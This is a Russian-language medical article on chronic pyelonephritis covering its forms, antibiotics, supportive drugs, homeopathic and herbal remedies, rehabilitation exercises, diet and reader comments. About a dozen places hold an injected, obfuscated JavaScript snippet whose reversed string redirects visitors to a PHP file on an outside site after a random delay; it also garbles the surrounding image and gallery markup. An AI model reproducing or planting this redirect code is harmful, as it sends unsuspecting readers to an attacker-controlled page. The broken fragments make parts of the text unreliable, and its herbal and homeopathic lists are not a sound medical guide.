Лечение хронического пиелонефрита: как бороться с затяжной болью в почках

Почки — важные органы человеческого тела, и любые неполадки в их деятельности немедленно сказываются на общем состоянии. К сожалению, они столь же уязвимы для вредоносных воздействий. Любая инфекция или переохлаждение способны спровоцировать затяжной патологический процесс — хронический пиелонефрит.

Характеристика хронического пиелонефрита

Хроническим пиелонефритом называется затяжной патологический процесс, вызываемый различными бактериями (кишечной и синегнойной палочками, стафилококками, стрептококками, энтерококками) и поражающий паренхиматозные ткани почек. При распространении инфекции возможно вовлечение лоханочной системы. Заболевание начинается, как правило, остро, но различные внешние и внутренние факторы (переохлаждение, иммунодефицит, инфекции, гормональные нарушения, затруднение оттока мочи и так далее) способны спровоцировать его хронизацию.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/10/stroenie-pochki.jpg» alt=»Строение почки» width=»500″ height=»536″ /> Хронический пиелонефрит поражает паренхиму почки и чашечно-лоханочную систему

Среди всех воспалительных заболеваний мочеполовой системы случаи хронического пиелонефрита составляют около 65% от общего числа. В силу анатомических особенностей патология чаще всего развивается у женщин. Проявления нарастают ступенчато: от местного воспаления до полного рубцевания тканей одной или обеих почек. Учитывая широкий спектр симптомов хронического пиелонефрита, современная медицина описывает пять его форм.

В зависимости от разновидности заболевания и выраженности проявлений лечащим врачом могут быть предписаны различные схемы терапии.

Таблица: формы хронического пиелонефрита

Форма	Симптомы и особенности
Латентная	системные проявления: слабость; утомляемость; головные боли; усиленное образование мочи (полиурия) с низкой концентрацией солей (гипостенурия); обнаружение в моче лейкоцитов, бактериальных клеток.
Рецидивирующая	Симптомы проявляются периодически. В период обострения возможны: боли в пояснице; лихорадка; анемия; гипертония; появление в моче лейкоцитов, бактерий, эпителиальных и красных кровяных клеток.
Гипертоническая	Повышенное артериальное давление и его последствия: бессонница; боли: в сердце; в голове; одышка.
Анемическая	Снижение уровня гемоглобина в крови(гипохромная анемия)
Азотемическая	Представляет собой осложнённую разновидность латентной формы, перешедшую в состояние хронической почечной недостаточности

Видео: хронический пиелонефрит

Современные методы лечения

Современные методы терапии хронического пиелонефрита предусматривают использование как медикаментозных препаратов, так и народных средств. Последние способны облегчить состояние пациента на ранних этапах развития болезни. При тяжёлом течении предпочтение должно отдаваться синтетическим лекарственным средствам.

Лечение антибиотиками

Важнейшую роль в лечении хронического пиелонефрита — заболевания бактериальной природы — играют различные антибиотики. Непрерывный курс их использования составляет от 2 до 4 недель, при этом раз в 10 дней набор препаратов желательно менять во избежание развития устойчивости микроорганизмов к ним. По той же причине перед терапией необходимо провести бактериальный посев мочи на тестовые среды с антибиотиками.

При лечении пиелонефрита применяется несколько классов антибактериальных препаратов. Наибольшая эффективность достигается при комплексном воздействии различных групп.

Таблица: антибактериальные средства, используемые при лечении хронического пиелонефрита

Класс	Препараты	Преимущества	Недостатки
Нитрофураны	Фурадонин, Фурамаг	Сильное воздействие на бактериальные клетки	Выраженные побочные эффекты: горечь во рту; тошнота; рвота.
Оксихинолины	Нитроксолин	В большинстве случаев хорошо переносятся пациентами	способны влиять на ткани глазного нерва; бактерии быстро вырабатывают устойчивость к препаратам.
Пенициллины	Азлоциллин, Амоксициллин, Карбенициллин.	Широкий спектр действия в сочетании с низкой токсичностью для организма	Могут вызвать расстройства пищеварения
Сульфаниламиды	Бисептол	Выраженное воздействие на широкий спектр бактерий	Большинство микроорганизмов сейчас устойчиво к сульфаниламидам
Фторхинолоны	Левофлоксацин, Норфлоксацин, Ципрофлоксацин.	малотоксичны для взрослых людей; эффективны против основных групп бактерий.	противопоказаны детям и беременным женщинам; вызывают светочувствительность кожи.
Цефалоспорины	Цефотаксим, Цефтриаксон	Высокая эффективность	Инъекционные препараты, используемые преимущественно при стационарном лечении

Фотогалерея: противомикробные препараты

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»29802,29800,29799,29798,29827,29826″]

Вспомогательные средства

Помимо антибиотиков, непосредственно воздействующих на причину заболевания, в процессе лечения могут применяться иные препараты, снижающие тяжесть симптомов и улучшающие общее состояние пациента:

• Нарушенный почечный кровоток восстанавливают средства, препятствующие свёртыванию крови (Курантил, Трентал) и укрепляющие сосудистые стенки (Троксевазин, Эскузан).
• Отёчность тканей снимается антигистаминами (Прометазин, Хлоропирамин).
• Выведение мочи стимулируют диуретики (Триампур, Фуросемид).
• Нарушения сердечной деятельности преодолеваются приёмом гликозидов (Дигоксин, Коргликон).
• При повышении артериального давления используются гипотензивные средства (Адельфан, Допегит, Клофелин, Эналаприл).
• Проявления анемии лечатся приёмом железосодержащих препаратов (Мальтофер, Сорбифер).
• Для улучшения обменных процессов и ускорения регенерации тканей применяются поливитаминные комплексы, в частности — содержащие витамины А, В₁₂, С.
• Значительные потери жидкости при полиурии или лихорадке компенсируются специальными растворами (Регидрон, Цитроглюкосолан).

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/10/furosemid.jpg» alt=»Фуросемид» width=»696″ height=»752″ /> При пиелонефрите важен приём не только антибиотиков, но и мочегонных препаратов: они «вымывают» бактерии из почек — с этой задачей отлично справляется Фуросемид

Использование гомеопатических препаратов

Применение гомеопатических средств в терапии хронического пиелонефрита ограничено симптоматическим воздействием. Для снижения болезненных ощущений в мочеполовой системе применяются препараты на основе:

• арники горной;
• кирказона (аристолохии);
• золота металлического;
• шпанской мушки;
• стручкового перца;
• ломоноса (клематиса) прямого;
• паслёна сладко-горького;
• лилии тигровой;
• можжевельника казацкого;
• скипидара;
• туи западной;
• серенеи пильчатой;
• осины канадской;
• хондодендрона войлочного.

Для снятия проявлений лихорадки используются средства на основе:

• аконита;
• красавки обыкновенной;
• посконника пронзённолистного;
• баптизии.

Фотогалерея: растения, входящие в состав гомеопатических лекарств

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»29824,29823,29822,29821″]

Народные средства

Народные средства, используемые при терапии пиелонефрита, слабо влияют на вредоносные бактерии. Тем не менее, они служат действенным подспорьем в процессе симптоматического лечения.

Растительные компоненты не способны заменить антибактериальные препараты, но отлично дополняют их на завершающих этапах терапии.

Противопоказаниями для использования народных средств могут быть:

• аллергические реакции;
• несовместимость с используемыми антибиотиками;
• острая фаза заболевания.

Наибольшая эффективность растительных компонентов достигается при их использовании в виде сборов — сложных смесей, оказывающих одновременно противовоспалительное, мочегонное, антисептическое, стимулирующее, общеукрепляющее воздействие.

Таблица: растительные сборы против хронического пиелонефрита

№	Состав (в частях)	Режим настаивания	Режим приёма
1	зверобой продырявленный — 1 ч.; хвощ полевой — 1 ч.; толокнянка — 1 ч.; крапива двудомная — 1 ч.; тысячелистник -1 ч.	1 ст. л. смеси залить стаканом кипятка, настаивать 30 минут, процедить.	По 1 ст. л. трижды в день
2	толокнянка — 3 ч.; василёк полевой (цветы) – 1 ч.; солодка (корень) – 1 ч.
3	зверобой продырявленный — 1 ч.; шиповник (плоды) – 1 ч.; мать-и-мачеха — 1 ч.; василёк полевой — 1 ч.; ячмень обыкновенный — 1 ч.; толокнянка — 1 ч.
4	берёза (листья) – 1 ч.; кукуруза (рыльца) – 1 ч.; хвощ полевой — 1 ч.; шиповник — 2 ч.	1 ст. л. смеси настаивать 30 минут в 2 стаканах кипятка. Процедить.	По половине стакана 3 раза в день
5	зверобой продырявленный — 1 ч.; шиповник — 2 ч.; крапива двудомная — 1 ч.; брусника (листья) – 2 ч.		По четверти стакана 4 раза в день

Галерея: лекарственные растения против хронического пиелонефрита

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»29810,29807,29806,29805,29804,29820,29819″]

Диспансеризация при хроническом пиелонефрите

Больной ставится на диспансерный учёт с диагнозом «хронический пиелонефрит» в том случае, если после перенесённой острой фазы заболевания нормальные функции почек не восстановились, а анализ мочи длительное время (год и более) демонстрирует признаки бактериальной активности. При неактивном течении периодические анализы проводятся раз в 1–6 месяцев. К числу таких тестов относятся:

• бактериальные посевы;
• определение относительной плотности мочи;
• измерение уровня азотистых соединений (мочевины и креатинина) в сыворотке крови.

Резкое обострение патологии требует обязательной госпитализации пациента в стационар.

Реабилитация при хроническом пиелонефрите

Реабилитация при хроническом пиелонефрите преследует несколько целей:

• ускорение тканевого обмена в почках;
• усиление оттока мочи;
• расслабление спазмированных мышц;
• стабилизация артериального давления;
• ослабление воспаления.

Важной частью этого процесса является гидротерапия. Особой эффективностью отличаются лечебные ванны — хлоридно-натриевые и углекислые. Также рекомендуется восстановительное лечение в специализированных санаториях.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/10/gidroterapiya-728×500.jpg» alt=»Гидротерапия» width=»728″ height=»500″ /> Специальные ванны способствуют активизации иммунитета, снятию напряжения мускулатуры и восстановлению нормальной работы почек

Активизации тканевого обмена в почках способствуют различные аппаратные методы лечения и реабилитации:

• амплипульсотерапия (воздействие синусоидальными токами);
• лазеротерапия;
• магнитотерапия;
• частотная терапия:
  • сверхвысокочастотная (СВЧ);
  • ультравысокочастотная (УВЧ);
• электрофорез с лекарственными препаратами.

Циркуляцию крови в поражённых тканях значительно улучшают сеансы лёгкого массажа небольшой продолжительности (до 10 минут), а также необременительная лечебная физкультура.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/10/massazh-poyasnichnoy-oblasti-728×437.jpg» alt=»Специалист делает массаж поясничной области» width=»728″ height=»437″ /> Специальный массаж будет способствовать усилению кровообращения в поражённой области и активации восстановительных процессов

Примерный план выполнения упражнений:

1. Лёжа на спине, сдвинуть вместе стопы согнутых в коленных суставах ног. Наклонять их попеременно в разные стороны — 20 раз.
2. Находясь в положении лёжа, чуть согнуть руки в локтях и ноги в коленях. Плавно приподнимать и опускать таз — 20 раз.
3. Лёжа на спине, поочерёдно приподнимать выпрямленные ноги, выполняя ими круговые движения — по 15 раз.
4. Лёжа на правом боку, согнуть ноги в тазобедренных и коленных суставах. Левую отвести максимально назад, затем вернуться в начальное положение — 15 раз. Те же действия повторить зеркально, лёжа на другом боку.
5. Лёжа на спине, делать выпрямленными ногами перекрёстные движения («ножницы») – 20 раз.
6. Присев на стул, опереться ладонями о его сидение. Приподнимать таз усилием рук — 20 раз.
7. Сидя на стуле, согнуть ноги в коленях. Поочерёдно поднимать их к уровню груди, не разгибая — по 15 раз.
8. Сидя на стуле, плотно прижать стопы к полу. Наклонять туловище назад, не отрывая ног — 20 раз.
9. Сидя на полу, выполнять поочерёдные наклоны к вытянутым ногам — 20 раз.
10. Стоя прямо, расположить руки на поясе. Выполнять повороты туловища вправо и влево — по 20 раз.

По мере улучшения состояния нагрузки и длительность выполнения упражнений можно увеличивать. При возникновении болевых ощущений курс нужно приостановить до консультации с лечащим врачом.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/10/gimnastika-pri-pielonefrite-728×365.jpg» alt=»Гимнастика при пиелонефрите» width=»728″ height=»365″ /> Гимнастические упражнения должны выполняться плавно и без напряжения

Образ жизни и уход

Течение хронического пиелонефрита может быстро перейти в острую фазу при неблагоприятном воздействии на организм. Чтобы избежать подобного исхода, нужно следовать нескольким правилам.

Физические нагрузки

В период неактивного течения болезни допускаются умеренные физические нагрузки, выполняемые плавно, без рывков. С особой осторожностью следует относиться к видам деятельности, задействующим мышцы брюшного отдела. Всевозможные удары и столкновения, наносимые в эту область тела, лучше исключить вовсе.

Для кратковременного расслабления мышц рекомендуется несколько раз на протяжении дня принимать лежачее положение.

Переход пиелонефрита в фазу острого воспаления полностью исключает физическую активность. На всём протяжении этого опасного периода больной должен находиться в тепле и покое, обязательно — лёжа.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/10/muzhchina-lezhit-na-spine-728×368.jpg» alt=»Женщина лежит на спине» width=»728″ height=»368″ /> Положение лёжа способствует расслаблению поверхностных и глубоких мышц тела, что снизит нагрузку на внутренние органы

Баня и плавание

Больному хроническим пиелонефритом следует с особой осторожностью относиться к плаванию в открытых водоёмах и бассейнах. С одной стороны, подобная активность создаёт излишнюю нагрузку на брюшной отдел, препятствуя восстановлению повреждённых тканей. С другой — низкая температура воды способна вызвать переохлаждение тела, что, в свою очередь, часто является причиной острого воспаления.

Посещение бани или сауны способно оказать благотворное воздействие на организм пациента.

Особо рекомендуется после подобной процедуры провести краткий сеанс массажа, расслабляющего разогретые мышцы и усиливающего кровообращение.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/10/banya-728×546.jpg» alt=»Банные принадлежности: шапочка, варежка, веники, тазик» width=»728″ height=»546″ /> Посещение бани поможет вывести из организма вредные вещества, усилить кровообращение в поражённых органах и снять воспаление

Питание

В рационе должно содержаться большое количество белков и витаминов — веществ, непосредственно участвующих в восстановлении тканей. Также необходимо употреблять не менее двух литров жидкости в день — это нормализует работу мочевыводящих путей.

Питание больного хроническим пиелонефритом должно включать:

• кисломолочные продукты;
• отварную рыбу;
• отварное нежирное мясо;
• бахчевые культуры:
  • арбузы;
  • дыни;
  • тыквы;
• фрукты;
• ягоды;
• напитки:
  • морсы;
  • минеральные воды.

Галерея: рекомендуемые продукты при хроническом пиелонефрите

) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toplay=»true» fg_allowfullscreen=»true» fg_arrow=»true» fg_loop=»true» ids=»29818,29817,29816,29815,29814,29813″]

Строго противопоказаны к употреблению — особенно в период обострения заболевания — продукты, способные замедлять обмен веществ, задерживать жидкость в тканях, начинать процессы брожения. К их числу относятся:

• алкоголь;
• бобовые;
• грибы;
• свежую капусту;
• колбасные изделия;
• кофе;
• маринады;
• наваристые блюда;
• редьку;
• специи;
• хрен;
• чеснок.

Прогноз лечения

Прогноз лечения хронического пиелонефрита в целом неблагоприятен, так как болезнь демонстрирует склонность к рецидивам и развитие устойчивости к длительно используемым противомикробным препаратам. Очаги инфекции возникают в почечных тканях на протяжении всей жизни пациента, интенсивность их появления напрямую зависит от тщательности выполнения терапевтических и профилактических мероприятий. Тем не менее заболевание, обнаруженное на ранних этапах развития, хорошо поддаётся лечению.

Несвоевременное или неверное лечение может стать причиной тяжёлых осложнений, среди которых:

• хроническая почечная недостаточность;
• сердечная недостаточность;
• геморрагический инсульт;
• ишемический инсульт.

Отзывы

Алкоголь не пить, острое не есть, на холодном не сидеть, не купаться в холодной воде, травы пить для профилактики (если верите народной медицине), следить всю жизнь надо — такие вот прописные истины. Волейболом занимаюсь всю жизнь с почками, в тренажёрки хожу.

У меня хронический пиелонефрит с 5 лет (мне сейчас 22). Не хочу никого пугать, но это совсем не шуточки. Лет до 13 я каждые 2 года ложилась в больницу на 15 дней. По 5 уколов на день, это было ужасно. Сейчас я переросла (так говорят врачи), но каждую осень и весну я со страхом жду обострения. Любой ветерок или замершие ноги у меня выливаются в обострение. Так ко всему ещё от почек у меня пошло хроническое воспаление мочевого (цистит).

А вообще, укроп заваривать — самое «безболезненное». Можно ещё фитолизин кушать, но это такая гадость. Зато полностью растительная.

Хронический пиелонефрит — стойкое заболевание, грозящее множеством болезненных ощущений и отсроченных последствий. При небрежном отношении оно представляет существенную опасность для пациента. К счастью, внимательное отношение к собственному здоровью, точное следование врачебным предписаниям и выполнение профилактических мероприятий позволяют снизить риск рецидивов и осложнений к минимуму.